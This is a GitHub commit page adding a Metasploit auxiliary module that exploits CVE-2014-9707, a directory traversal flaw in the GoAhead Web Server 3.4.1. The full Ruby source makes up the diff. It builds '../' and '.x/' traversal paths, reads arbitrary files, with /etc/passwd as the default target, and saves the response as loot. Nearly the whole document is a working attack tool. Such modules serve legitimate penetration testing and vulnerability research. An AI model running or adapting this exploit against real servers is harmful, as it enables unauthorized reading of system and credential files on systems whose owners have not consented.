Skip to content

Commit 1bfda9e

Browse files
committed
Land rapid7#5101, Add Directory Traversal for GoAhead Web Server
2 parents e03f2df + dc14c77 commit 1bfda9e

File tree

1 file changed

+76
-0
lines changed

1 file changed

+76
-0
lines changed
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Auxiliary::Scanner
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'GoAhead Embedded Web Server Directory Traversal',
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability in the EmbedThis GoAhead Web Server v3.4.1,
19+
allowing to read arbitrary files with the web server privileges.
20+
},
21+
'References' =>
22+
[
23+
['CVE', '2014-9707'],
24+
['URL', 'http://packetstormsecurity.com/files/131156/GoAhead-3.4.1-Heap-Overflow-Traversal.html']
25+
],
26+
'Author' =>
27+
[
28+
'Matthew Daley', # Vulnerability discovery
29+
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
30+
],
31+
'License' => MSF_LICENSE
32+
))
33+
34+
register_options(
35+
[
36+
Opt::RPORT(80),
37+
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
38+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 5 ])
39+
], self.class)
40+
41+
deregister_options('RHOST')
42+
end
43+
44+
def run_host(ip)
45+
filename = datastore['FILEPATH']
46+
filename = filename[1, filename.length] if filename =~ /^\//
47+
traversal = "../" * datastore['DEPTH'] << ".x/" * datastore['DEPTH'] << filename
48+
49+
res = send_request_raw({
50+
'method' => 'GET',
51+
'uri' => "#{traversal}"
52+
})
53+
54+
if res &&
55+
res.code == 200 &&
56+
res.headers['Server'] &&
57+
res.headers['Server'] =~ /GoAhead/
58+
59+
print_line("#{res.body}")
60+
61+
fname = datastore['FILEPATH']
62+
63+
path = store_loot(
64+
'goahead.traversal',
65+
'text/plain',
66+
ip,
67+
res,
68+
fname
69+
)
70+
71+
print_good("#{peer} - File saved in: #{path}")
72+
else
73+
print_error("#{peer} - Nothing was downloaded")
74+
end
75+
end
76+
end

0 commit comments

Comments
 (0)